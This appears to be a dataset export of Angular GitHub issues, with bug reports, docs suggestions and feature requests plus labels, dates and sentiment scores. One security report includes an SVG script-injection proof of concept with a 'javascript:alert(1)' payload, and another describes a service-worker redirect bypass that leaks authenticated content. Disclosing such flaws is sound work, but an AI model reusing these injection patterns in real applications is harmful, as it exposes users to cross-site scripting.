### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.8
Angular           : 21.2.10
Node.js           : 22.22.0
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations       │ 21.2.10           │ ^21.2.0-next      │
│ @angular/build            │ 21.2.8            │ ^21.2.0-next      │
│ @angular/cdk              │ 21.2.8            │ ^21.2.0-next      │
│ @angular/cli              │ 21.2.8            │ ^21.2.0-next      │
│ @angular/common           │ 21.2.10           │ ^21.2.0-next    ... [TRUNCATED]","area: core,core: animations,gemini-triaged",2026-05-19 14:56:17+00:00,2026-05-19 20:07:48+00:00,3,"area: core,core: animations,gemini-triaged",0.2163,animate leave is ignored on descendant nodes which angular package s are the source of the bug core is this a regression yes description this example suggests that animate leave can be applied to any node and angular will ensure that the animation will play before the node is removed however even in the example this is not the case disappears without any animation this problem can also be reproduced in playground please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular animations next angular build next angular cdk next angular cli next angular common next truncated,others,-0.0999
angular/angular,4477819772,CLI reference pages render absolute angular.dev links with the external-link icon,"### Describe the problem that you experienced

Links whose `href` is an absolute `https://angular.dev/...` URL are rendered with the external-link icon next to them on docs pages, even though clicking them stays on angular.dev.

The icon is a visual signal that the link leaves the site, so seeing it on an in-site link is misleading regardless of whether the link was authored as a relative path or an absolute URL.

Most visible example: CLI reference pages such as `cli/e2e`. The `configuration` option description contains an absolute link to `https://angular.dev/reference/configs/workspace-config#alternate-build-configurations`, which is shown with the external-link icon even though it navigates within the docs site.

Expected behavior: the external-link icon should not appear on links whose host is `angular.dev`, so the icon accurately signals when a click leaves the site.

Alternative (or complementary) fix: the affected content sources could rewrite their `https://angular.dev/...` references as proper markdown links with relative paths, e.g. `[the workspace config reference](reference/configs/workspace-config#alternate-build-configurations)`. That removes the bad icon at the source and matches the convention used elsewhere in adev markdown.

<img width=""862"" height=""485"" alt=""Image"" src=""https://github.com/user-attachments/assets/114ee5d6-3706-41bc-b7c5-afed84ce1435"" />","area: docs-infra,gemini-triaged",2026-05-19 13:34:38+00:00,2026-05-20 17:28:30+00:00,4,"area: docs-infra,gemini-triaged",1.1624,cli reference pages render absolute angular dev links with the external link icon describe the problem that you experienced links whose is an absolute url are rendered with the external link icon next to them on docs pages even though clicking them stays on angular dev the icon is a visual signal that the link leaves the site so seeing it on an in site link is misleading regardless of whether the link was authored as a relative path or an absolute url most visible example cli reference pages such as the option description contains an absolute link to which is shown with the external link icon even though it navigates within the docs site the external link icon should not appear on links whose host is so the icon accurately signals when a click leaves the site alternative or complementary fix the affected content sources could rewrite their references as proper markdown links with relative paths e g that removes the bad icon at the source and matches the convention used elsewhere in adev markdown,documentation,-0.7906
angular/angular,4476204898,[Docs] Providing provideHttpClient not required in v21 tests,"### Describe the problem that you experienced

The HttpClient Tes docs (https://angular.dev/guide/http/testing#setup-for-testing) mentions adding provideHttpClient but it's now provided by default.

It should rather include it in the docs as a specific section if a test needs to provide HttpClient options (such as interceptors).

### Enter the URL of the topic with the problem

https://angular.dev/guide/http/testing#setup-for-testing

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-05-19 09:33:51+00:00,2026-05-19 20:41:16+00:00,0,"area: docs,gemini-triaged",0.4635,docs providing providehttpclient not required in v tests describe the problem that you experienced the httpclient tes docs mentions adding providehttpclient but it s now provided by default it should rather include it in the docs as a specific section if a test needs to provide httpclient options such as interceptors enter the url of the topic with the problem describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.976
angular/angular,4469838428,InputSignal aliases make type-safe dynamic component input contracts unsound,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

I am trying to build a type-safe API for dynamically rendering components with `NgComponentOutlet` and passing inputs through `ngComponentOutletInputs`.

A simplified version looks like this:

```ts
import { Type, InputSignal } from '@angular/core';

function provideSomeComponent(
  component: Type<{ foo: InputSignal<string> }>,
) {
  return { provide: SOME_COMPONENT_TOKEN, useValue: component };
}
```

This works as long as the component input binding name is the same as the class property name:

```ts
@Component({
  standalone: true,
  template: `{{ foo() }}`,
})
class SomeComponent {
  foo = input.required<string>();
}

provideSomeComponent(SomeComponent);
```

However, the type-level contract becomes unsound when the input has an alias:

```ts
@Component({
  standalone: true,
  template: `{{ foo() }}`,
})
class SomeComponent {
  foo = input.required<string>({ alias: 'bar' });
}

provideSomeComponent(SomeComponent); // TypeScript accepts this
```

The component satisfies the TypeScript contract:

```ts
Type<{ foo: InputSignal<string> }>
```

But at runtime the public input binding name is `bar`, not `foo`.

So when this is later passed to `NgComponentOutlet`:

```html
<ng-container
  *ngComponentOutlet=""
    provided.component;
    inputs: {foo: ...}
  ""
/>
```

Angular tries to bind `foo`, while the actual public input name is `bar`.

This means that TypeScript says the co... [TRUNCATED]","area: core,gemini-triaged",2026-05-18 14:13:03+00:00,2026-05-18 14:55:54+00:00,2,"area: core,gemini-triaged",0.0298,inputsignal aliases make type safe dynamic component input contracts unsound which angular package s are relevant related to the feature request core description i am trying to build a type safe api for dynamically rendering components with and passing inputs through a simplified version looks like this this works as long as the component input binding name is the same as the class property name however the type level contract becomes unsound when the input has an alias the component satisfies the typescript contract but at runtime the public input binding name is not so when this is later passed to angular tries to bind while the actual public input name is this means that typescript says the co truncated,others,0.7964
angular/angular,4466194826,GIT42 flyby: @angular's civilization (don't panic),"I visited @angular's ecosystem on GIT42.

Never heard of GIT42? It's a free, ad-free Hitchhiker-style tour of GitHub: developers as planets, galaxies to explore, profiles to visit, and passport stamps for fellow travelers. Chart a course at https://www.git42.dev.

https://www.git42.dev/u/angular",,2026-05-18 04:10:45+00:00,2026-05-18 05:05:00+00:00,1,nan,0.0377,git flyby angular s civilization don t panic i visited angular s ecosystem on git never heard of git it s a free ad free hitchhiker style tour of github developers as planets galaxies to explore profiles to visit and passport stamps for fellow travelers chart a course at,others,0.5106
angular/angular,4457231595,Add useFactory example for dynamic locale to LOCALE_ID API docs,"### Describe the problem that you experienced

The `LOCALE_ID` API documentation shows only `{provide: LOCALE_ID, useValue: 'en-US'}` in both the standalone and module examples. `useValue` works for a static string or a value computed before the injector exists (e.g., reading `navigator.language` at module load).

If the locale logic already lives in an Angular service (user preferences, route params, cookies, etc.), `useValue` can't reach it because there's no injection context at that point. The clean path is `useFactory` with `inject()`, and the current docs don't show that's supported. A developer landing on the API page after searching ""Angular locale"" doesn't realize the service case is a one-liner.

A suggested third example:

```ts
@Injectable({providedIn: 'root'})
export class LangService {
  getLocale(): string {
    // read from user prefs, cookie, navigator, etc.
    return 'en-US';
  }
}

const appConfig: ApplicationConfig = {
  providers: [
    {
      provide: LOCALE_ID,
      useFactory: () => inject(LangService).getLocale(),
    },
  ],
};
```

Happy to send a PR if the team agrees this is a worthwhile addition.","area: docs,gemini-triaged",2026-05-15 22:03:02+00:00,2026-05-18 09:22:23+00:00,3,"area: docs,gemini-triaged",2.4718,add usefactory example for dynamic locale to locale id api docs describe the problem that you experienced the api documentation shows only in both the standalone and module examples works for a static string or a value computed before the injector exists e g reading at module load if the locale logic already lives in an angular service user preferences route params cookies etc can t reach it because there s no injection context at that point the clean path is with and the current docs don t show that s supported a developer landing on the api page after searching angular locale doesn t realize the service case is a one liner a suggested third example happy to send a pr if the team agrees this is a worthwhile addition,documentation,0.9022
angular/angular,4442903192,Regarding @defer block loading,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I’m using the @defer block in Angular 21. I have 4 components imported into app.component.ts, and I’m trying to lazy-load one of them using @defer. However, even after refreshing the page, all deferred components are  loaded. In this case, the @defer block is not working as expected. When I import the component into app.component.ts, it is already eagerly loaded, which I can see in the Network tab. Could you please help me fix this issue?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: core,gemini-triaged",2026-05-14 03:35:51+00:00,2026-05-18 12:47:01+00:00,4,"needs reproduction,area: core,gemini-triaged",4.3828,regarding defer block loading which angular package s are the source of the bug don t known other is this a regression no description i m using the defer block in angular i have components imported into app component ts and i m trying to lazy load one of them using defer however even after refreshing the page all deferred components are loaded in this case the defer block is not working as expected when i import the component into app component ts it is already eagerly loaded which i can see in the network tab could you please help me fix this issue please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9618
angular/angular,4437336683,html select with selectedcontent freezes when bound to a FormField,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

when binding a FormField to a select that has a selectedcontent element, the browser tab freezes

in the example project, uncomment the template code below in app.ts  to reproduce the freeze
`<button><selectedcontent></selectedcontent></button>`

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-mbrurxfu?file=src%2Fapp.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.11
Angular           : 21.2.12
Node.js           : 22.22.0
Package Manager   : npm 10.8.2
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.11           │ ^21.2.11          │
│ @angular/cdk              │ 21.2.10           │ ^21.2.10          │
│ @angular/cli              │ 21.2.11           │ ^21.2.11          │
│ @angular/common           │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler         │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler-cli     │ 21.2.12           │ ^21.2.12          │
│ @angular/core             │ 21.2.12           │ ^21.2.12         ... [TRUNCATED]","area: forms,gemini-triaged",2026-05-13 11:10:33+00:00,2026-05-13 11:12:51+00:00,2,"area: forms,gemini-triaged",0.0016,html select with selectedcontent freezes when bound to a formfield which angular package s are the source of the bug forms is this a regression no description when binding a formfield to a select that has a selectedcontent element the browser tab freezes in the example project uncomment the template code below in app ts to reproduce the freeze please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm linux x package installed version requested version angular build angular cdk angular cli angular common angular compiler angular compiler cli angular core truncated,others,-0.6705
angular/angular,4425410700,Setup Error : Help Wanted,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

Yes

### Description

Can anyone tell me what is this error? I tried to install node but it is not getting install. anyone can guide me step by step. I am using intellij Idea

<img width=""1892"" height=""371"" alt=""Image"" src=""https://github.com/user-attachments/assets/2858a8ca-f26d-42f0-b7f3-59528e6db391"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
pnpm : The term 'pnpm' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that    
the path is correct and try again.
At line:1 char:1
+ pnpm install
+ ~~~~
    + CategoryInfo          : ObjectNotFound: (pnpm:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: build & ci,gemini-triaged",2026-05-12 01:09:24+00:00,2026-05-12 02:32:31+00:00,2,"area: build & ci,gemini-triaged",0.0577,setup error help wanted which angular package s are the source of the bug common is this a regression yes description can anyone tell me what is this error i tried to install node but it is not getting install anyone can guide me step by step i am using intellij idea please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.9011
angular/angular,4422841781,"""Built-in directives"" overview could point learners at `class` / `style` bindings and `@if` / `@for` / `@switch` too","### Describe the problem that you experienced

The ""Built-in directives"" overview at `adev/src/content/guide/directives/overview.md` walks readers through `NgClass`, `NgStyle`, `NgIf`, `NgFor`, etc. without really mentioning that `class` / `style` bindings and `@if` / `@for` / `@switch` exist as the modern alternatives.

This page is one of the first stops for someone learning what an Angular directive is. If they don't already know about the modern alternatives, they walk away thinking `NgClass` / `NgStyle` and `*ngIf` / `*ngFor` is just how you do it. The how-to content itself is fine, but a learner never gets plugged into what's preferred for new code.

Wondering if it's worth adding a single `HELPFUL` note near the top:

>HELPFUL: For new code, prefer [built-in control flow](guide/templates/control-flow) (`@if` / `@for` / `@switch`) over `NgIf` / `NgFor` / `NgSwitch`, and [`class` / `style` bindings](style-guide#prefer-class-and-style-over-ngclass-and-ngstyle) over `NgClass` / `NgStyle`. The directives covered below remain supported for existing codebases.

if it makes sense, I can open a PR

https://angular.dev/guide/directives","area: docs,gemini-triaged",2026-05-11 17:19:51+00:00,2026-05-13 14:29:34+00:00,2,"area: docs,gemini-triaged",1.8817,built in directives overview could point learners at bindings and too describe the problem that you experienced the built in directives overview at walks readers through etc without really mentioning that bindings and exist as the modern alternatives this page is one of the first stops for someone learning what an angular directive is if they don t already know about the modern alternatives they walk away thinking and is just how you do it the how to content itself is fine but a learner never gets plugged into what s preferred for new code wondering if it s worth adding a single note near the top helpful for new code prefer built in control flow guide templates control flow over and bindings style guide prefer class and style over ngclass and ngstyle over the directives covered below remain supported for existing codebases if it makes sense i can open a pr,documentation,0.8573
angular/angular,4421332769,FormValueControl backwards compatability,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hey there, I really love the new FormValueControl API and want to rewrite my components from Control Value Accessor to it. Unfortunately many consumers of my library are still using Reactive Forms, therefore I was hoping that the new FormValueControl is backwards compatible.

You can find an example here: https://stackblitz.com/edit/stackblitz-starters-wtzycvik?description=An%20angular-cli%20project%20based%20on%20@angular/animations,%20@angular/common,%20@angular/compiler,%20@angular/core,%20@angular/forms,%20@angular/platform-browser,%20@angular/platform-browser-dynamic,%20@angular/router,%20core-js,%20rxjs,%20tslib%20and%20zone.js&file=src%2Fmain.ts&template=node&title=Angular%20Starter

### Proposed solution

FormValueControl works with Reactive Forms

### Alternatives considered

- ","area: forms,forms: signals",2026-05-11 13:44:26+00:00,2026-05-11 16:39:18+00:00,3,"area: forms,forms: signals",0.1214,formvaluecontrol backwards compatability which angular package s are relevant related to the feature request no response description hey there i really love the new formvaluecontrol api and want to rewrite my components from control value accessor to it unfortunately many consumers of my library are still using reactive forms therefore i was hoping that the new formvaluecontrol is backwards compatible you can find an example here proposed solution formvaluecontrol works with reactive forms alternatives considered,others,0.8268
angular/angular,4421033233,Child component input remains as detached DOM node after parent destroys the component,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When an input element exists inside a child component, and its value is modified, destroying that child component from the parent can leave the input element visible as a detached DOM node in DevTools.

This appears to happen after the input value is changed and then the parent removes the child component from the view.

**Steps to reproduce**

- Render a child component from a parent component.
- Place a native HTML input element inside the child component.
- Change the input value.
- Destroy or remove the child component from the parent component.
- Inspect the page in Chrome DevTools and check detached nodes.
- Expected behavior

When the parent destroys the child component, the child view and its native input element should be fully released and should not remain as detached DOM nodes.

**Actual behavior**

After the input value is modified and the child is destroyed by the parent, the input element still appears under detached nodes in DevTools.

**Additional notes**

- This issue is based on detached-node behavior observed in browser DevTools. If needed, I can provide more details about the conditions under which the child is created and destroyed.

- There is no specific services, custom listeners, or timers. Just output emitter from child component to close/destroy the child from parent component and same way to open the child from parent we have (Open chi... [TRUNCATED]","area: core,gemini-triaged",2026-05-11 13:02:34+00:00,2026-05-11 13:46:46+00:00,2,"area: core,gemini-triaged",0.0307,child component input remains as detached dom node after parent destroys the component which angular package s are the source of the bug core is this a regression no description when an input element exists inside a child component and its value is modified destroying that child component from the parent can leave the input element visible as a detached dom node in devtools this appears to happen after the input value is changed and then the parent removes the child component from the view render a child component from a parent component place a native html input element inside the child component change the input value destroy or remove the child component from the parent component inspect the page in chrome devtools and check detached nodes when the parent destroys the child component the child view and its native input element should be fully released and should not remain as detached dom nodes after the input value is modified and the child is destroyed by the parent the input element still appears under detached nodes in devtools additional notes this issue is based on detached node behavior observed in browser devtools if needed i can provide more details about the conditions under which the child is created and destroyed there is no specific services custom listeners or timers just output emitter from child component to close destroy the child from parent component and same way to open the child from parent we have open chi truncated,others,-0.9781
angular/angular,4415854561,Proposal for a Long-Term Support (LTS) Strategy for Enterprise Development,"### Description

Hey,

There is a big problem with the rolling release policy and the short Angular upgrade cycle, which constantly introduces breaking changes. In Enterprise environments, there is usually a clear distinction between LTS versions for long-term robust development and rolling-release versions for those who just want to try or experiment with a framework or technology.

### Proposed solution

For robust enterprise development, we need stable LTS releases without breaking changes, similar to how it is done in Symfony, Ubuntu, and even in... React.

We need an enterprise-grade framework with robust, solid, predictable, and stable releases, along with long-term support and maintenance — at least 2–3 years without breaking changes in every release.

### Alternatives considered

Don’t try to become the “new React.” It’s a waste of time and the wrong direction.","area: dev-infra,gemini-triaged",2026-05-10 14:20:35+00:00,2026-05-11 08:09:06+00:00,12,"area: dev-infra,gemini-triaged",0.742,proposal for a long term support lts strategy for enterprise development description hey there is a big problem with the rolling release policy and the short angular upgrade cycle which constantly introduces breaking changes in enterprise environments there is usually a clear distinction between lts versions for long term robust development and rolling release versions for those who just want to try or experiment with a framework or technology proposed solution for robust enterprise development we need stable lts releases without breaking changes similar to how it is done in symfony ubuntu and even in react we need an enterprise grade framework with robust solid predictable and stable releases along with long term support and maintenance at least years without breaking changes in every release alternatives considered don t try to become the new react it s a waste of time and the wrong direction,feature,0.9666
angular/angular,4415388951,"inheritance guide's ""Forwarding injected dependencies"" section could lead with inject()","### Describe the problem that you experienced


The ""Forwarding injected dependencies"" section in `adev/src/content/guide/components/inheritance.md` (around line 66) teaches the constructor-injection forwarding pattern:

```ts
export class ListboxBase {
  constructor(private element: ElementRef) {}
}

export class CustomListbox extends ListboxBase {
  constructor(element: ElementRef) {
    super(element);
  }
}
```

But the style guide says to use `inject()` instead of constructor parameter injection. And once you do, this whole ""forwarding"" thing kind of evaporates, the child just inherits the property:

```ts
export class ListboxBase {
  protected element = inject(ElementRef);
}

export class CustomListbox extends ListboxBase {
  // element is already there. no constructor needed.
}
```

The example earlier in this same file (line 38ish) already uses signal-based `input.required<string>()`, so this section sticks out as the only place still showing the old pattern.

Happy to put up a PR if this sounds reasonable.


### Enter the URL of the topic with the problem

https://angular.dev/guide/components/inheritance#forwarding-injected-dependencies
","open for contributions,area: docs",2026-05-10 10:47:00+00:00,2026-05-11 19:02:47+00:00,2,"open for contributions,area: docs",1.3443,inheritance guide s forwarding injected dependencies section could lead with inject describe the problem that you experienced the forwarding injected dependencies section in around line teaches the constructor injection forwarding pattern but the style guide says to use instead of constructor parameter injection and once you do this whole forwarding thing kind of evaporates the child just inherits the property the example earlier in this same file line ish already uses signal based so this section sticks out as the only place still showing the old pattern happy to put up a pr if this sounds reasonable enter the url of the topic with the problem,documentation,0.1655
angular/angular,4408281869,SVG <script> and `[innerHTML]`/`[textContent]` text can execute in Angular templates,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description
Angular strips `<script>` elements from component templates during compilation. However, SVG descendants appear to be represented internally with a namespace-prefixed name such as `:svg:script`.
 
This allows an Angular component template to contain:

```html
<svg>
  <script>
    window.__angularSvgScriptPov = 'executed';
    document.body.setAttribute('data-svg-script-pov', 'executed');
  </script>
</svg>
```

The script survives compilation and executes in the browser.

A more concerning variant is that dynamic text assigned through an Angular binding can also become executable script text inside SVG `<script>`:

```html
<svg>
<!--  No bypass is needed to allow this -->
  <script [innerHTML]=""payload""></script> // same with [textContent]
</svg>
```
Also same behavior bypass when 
and `  code = 'javascript:alert(1)';`

```html
<svg width=""120"" height=""24"" aria-label=""svg-script-pov"">
  <script  [textContent]=""code""></script>
  <text x=""0"" y=""16"">PoV</text>
</svg>
```

Angular should strip, reject, or otherwise prevent SVG `<script>` elements from being emitted or populated with executable script content.


should not allow an untrusted plain string to become executable JavaScript.

### Please provide a link to a minimal reproduction of the bug
This issue was previously reported to the Google VRP. The original PoV and discussion can be seen here, if accessible:... [TRUNCATED]","security,area: security",2026-05-08 17:43:03+00:00,2026-05-19 20:06:03+00:00,12,"security,area: security",11.0993,svg and text can execute in angular templates which angular package s are the source of the bug compiler is this a regression no description angular strips elements from component templates during compilation however svg descendants appear to be represented internally with a namespace prefixed name such as this allows an angular component template to contain the script survives compilation and executes in the browser a more concerning variant is that dynamic text assigned through an angular binding can also become executable script text inside svg also same behavior bypass when and angular should strip reject or otherwise prevent svg elements from being emitted or populated with executable script content should not allow an untrusted plain string to become executable javascript please provide a link to a of the bug this issue was previously reported to the google vrp the original pov and discussion can be seen here if accessible truncated,others,-0.6447
angular/angular,4400278457,Angular tests in browser mode support debugging but some documentation says the contrary,"### Describe the problem that you experienced

This section says that debugging is not supported for browser mode: https://angular.dev/guide/testing/migrating-to-vitest#5-configure-browser-mode-optional

But this other one says that it is supported: https://angular.dev/guide/testing/debugging

I tested that debugging works for Playwright.

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-05-07 16:19:19+00:00,2026-05-08 15:57:11+00:00,1,"area: docs,gemini-triaged",0.9846,angular tests in browser mode support debugging but some documentation says the contrary describe the problem that you experienced this section says that debugging is not supported for browser mode but this other one says that it is supported i tested that debugging works for playwright enter the url of the topic with the problem no response describe what you were looking for in the documentation no response describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,bug,-0.986
angular/angular,4399046010,"Angular service worker bypasses explicit `redirect: 'error'`, leaks authenticated content into JavaScript, and replays it after logout.","### Which @angular/* package(s) are the source of the bug?

service-worker

### Description

Details
Angular service worker asset handling reconstructs outgoing requests through AssetGroup.newRequestWithMetadata() while preserving headers only. In the redirected asset path, this drops explicit redirect policy from the original request. As a result, a caller-supplied fetch(..., {redirect: 'error'}) is turned into a redirect-following request inside the framework service worker.

The root cause is in Angular-owned code:

packages/service-worker/worker/src/assets.ts
AssetGroup.fetchFromNetwork() manually follows redirected responses
AssetGroup.newRequestWithMetadata() rebuilds requests without preserving explicit redirect
This is a framework-owned request-policy bypass, not generic stale-cache behavior, because the browser's original decision is to reject the request and Angular service worker changes that outcome.

Attack scenario
Any actor who can get a victim to open a normal page or deep link that causes the Angular application itself to fetch the public asset URL can exploit this behavior in an Angular application that uses the Angular service worker on the affected scope and has a same-origin redirect from a public asset path to authenticated/private content. The attack does not need injected JavaScript in the victim origin if the app already performs the asset fetch on page load or route change.

What they gain:

access to authenticated same-origin secret content that the... [TRUNCATED]","area: service-worker,gemini-triaged",2026-05-07 13:16:24+00:00,2026-05-08 07:49:13+00:00,5,"area: service-worker,gemini-triaged",0.7728,angular service worker bypasses explicit leaks authenticated content into javascript and replays it after logout which angular package s are the source of the bug service worker description details angular service worker asset handling reconstructs outgoing requests through assetgroup newrequestwithmetadata while preserving headers only in the redirected asset path this drops explicit redirect policy from the original request as a result a caller supplied fetch redirect error is turned into a redirect following request inside the framework service worker the root cause is in angular owned code packages service worker worker src assets ts assetgroup fetchfromnetwork manually follows redirected responses assetgroup newrequestwithmetadata rebuilds requests without preserving explicit redirect this is a framework owned request policy bypass not generic stale cache behavior because the browser s original decision is to reject the request and angular service worker changes that outcome attack scenario any actor who can get a victim to open a normal page or deep link that causes the angular application itself to fetch the public asset url can exploit this behavior in an angular application that uses the angular service worker on the affected scope and has a same origin redirect from a public asset path to authenticated private content the attack does not need injected javascript in the victim origin if the app already performs the asset fetch on page load or route change what they gain access to authenticated same origin secret content that the truncated,bug,0.3182
angular/angular,4390851868,Stop exposing `inject` via `@angular/core/primitives/di`,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

This feels like a bug hence why I'll mark it as one.

I'm using Zed and I see `inject` exposed via two different paths. This seems wrong and unnecessary.

<img width=""810"" height=""145"" alt=""Image"" src=""https://github.com/user-attachments/assets/4f20524b-6355-4d76-b132-f0255166a972"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
angular 21.2.9
node 24.13.0
```

### Anything else?

_No response_","area: packaging,gemini-triaged",2026-05-06 11:07:59+00:00,2026-05-06 15:09:17+00:00,2,"area: packaging,gemini-triaged",0.1676,stop exposing via which angular package s are the source of the bug core is this a regression no description this feels like a bug hence why i ll mark it as one i m using zed and i see exposed via two different paths this seems wrong and unnecessary please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.9578
angular/angular,4390101553,"When starting up from Webstorm, Angular DevTools does not initialize (blank panel)","### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

Angular DevTools fails to initialize and shows a blank panel when inspecting an Angular application. The issue occurs because the application crashes during bootstrap due to accessing chrome.storage.local in an extension environment.
Console.log output:
`outlined.css:1  Failed to load resource: net::ERR_FILE_NOT_FOUNDUnderstand this error
main.js:4 ERROR TypeError: Cannot read properties of undefined (reading 'local')
    at get storage (main.js:5961:1845)
    at Fx.getStorageItems (main.js:5961:1361)
    at main.js:5961:172
    at ra (main.js:4:6385)
    at e.runInitializers (main.js:7:39534)
    at main.js:7:69116
    at Yie (main.js:7:69746)
    at main.js:7:69056
    at lp.run (main.js:4:23102)
    at FV (main.js:7:68586)
handleError @ main.js:4Understand this error
main.js:5961 TypeError: Cannot read properties of undefined (reading 'local')
    at get storage (main.js:5961:1845)
    at Fx.getStorageItems (main.js:5961:1361)
    at main.js:5961:172
    at ra (main.js:4:6385)
    at e.runInitializers (main.js:7:39534)
    at main.js:7:69116
    at Yie (main.js:7:69746)
    at main.js:7:69056
    at lp.run (main.js:4:23102)
    at FV (main.js:7:68586)
(anonymous) @ main.js:5961Understand this error
formatter_worker.js:6 Assertion failed: console.assert
#e @ formatter_worker.js:6Understand this error
formatter_worker.... [TRUNCATED]","needs: clarification,area: devtools",2026-05-06 09:06:57+00:00,2026-05-18 12:45:18+00:00,12,"needs: clarification,area: devtools",12.1516,when starting up from webstorm angular devtools does not initialize blank panel x bug report feature request please provide the the issue bug report only angular devtools fails to initialize and shows a blank panel when inspecting an angular application the issue occurs because the application crashes during bootstrap due to accessing chrome storage local in an extension environment console log output outlined css failed to load resource net err file not foundunderstand this error main js error typeerror cannot read properties of undefined reading local at get storage main js at fx getstorageitems main js at main js at ra main js at e runinitializers main js at main js at yie main js at main js at lp run main js at fv main js handleerror main js understand this error main js typeerror cannot read properties of undefined reading local at get storage main js at fx getstorageitems main js at main js at ra main js at e runinitializers main js at main js at yie main js at main js at lp run main js at fv main js anonymous main js understand this error formatter worker js assertion failed console assert e formatter worker js understand this error formatter worker truncated,others,-0.9843
angular/angular,4384370494,Object.assign on component instance doesn't work with signal-based input() in dynamic component creation,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When creating dynamic components using ComponentFactoryResolver or ViewContainerRef.createComponent(), the common pattern of using Object.assign() to pass data to component inputs breaks with signal-based input() introduced in Angular 17.

### Current behavior (works with decorator inputs)

```
const factory = this.cfr.resolveComponentFactory(MyComponent);
const componentRef = factory.create(this.injector);

// This works when MyComponent uses @Input decorator
Object.assign(componentRef.instance, { title: 'Hello', userId: 123 });
```

### Problem with signal inputs
```
// MyComponent.ts
export class MyComponent {
  title = input<string>();  // Signal-based input
}

// The same Object.assign DOES NOT work
Object.assign(componentRef.instance, { title: 'Hello' }); 
// title remains an unwritable signal, value is never set
```

There should be a unified way to set both decorator-based and signal-based inputs dynamically.


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular 17+
```

### Anything else?

_No response_","area: core,gemini-triaged",2026-05-05 13:20:55+00:00,2026-05-05 13:23:24+00:00,2,"area: core,gemini-triaged",0.0017,object assign on component instance doesn t work with signal based input in dynamic component creation which angular package s are the source of the bug core is this a regression yes description when creating dynamic components using componentfactoryresolver or viewcontainerref createcomponent the common pattern of using object assign to pass data to component inputs breaks with signal based input introduced in angular current behavior works with decorator inputs problem with signal inputs there should be a unified way to set both decorator based and signal based inputs dynamically please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,0.4767
angular/angular,4383946869,Allow passing `HttpRequest` to `XhrFactory.build()` for request-aware XHR customization,"### Which @angular/* package(s) are relevant/related to the feature request?

common

### Description

`HttpClient` uses `XhrFactory.build()` to create `XMLHttpRequest` instances.

Currently, `build()` does not receive the associated `HttpRequest`, so a custom `XhrFactory` cannot access request-specific data.

In our case, metadata is added to the request using `HttpContext`. We want to read that metadata in a custom `XhrFactory` and attach it to the created `XMLHttpRequest`. Existing tracing/instrumentation code can then pick up the metadata from the XHR object.

Without access to the `HttpRequest`, there is no clean way to connect `HttpContext` metadata with the created XHR instance.

### Proposed solution

